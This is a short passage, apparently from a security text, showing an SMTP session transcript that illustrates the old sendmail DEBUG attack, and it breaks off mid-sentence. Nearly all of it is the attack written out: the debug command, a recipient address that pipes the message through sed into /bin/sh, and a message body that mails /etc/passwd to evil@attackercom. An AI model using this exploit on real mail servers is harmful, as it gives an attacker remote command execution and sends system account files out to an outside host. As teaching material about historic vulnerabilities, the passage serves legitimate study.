220 mailvictimcom SMTP
helo attackercom
250 Hello attackercom, pleased to meet you
debug
200 OK
mail from: </dev/null>
250 OK
rcpt to:<|sed -e '1,/^$/'d | /bin/sh ; exit 0">
250 OK
data
354 Start mail input; end with <CRLF><CRLF>
mail evil@attackercom </etc/passwd
250 OK
quit
221 mailvictimcom Terminating
The ...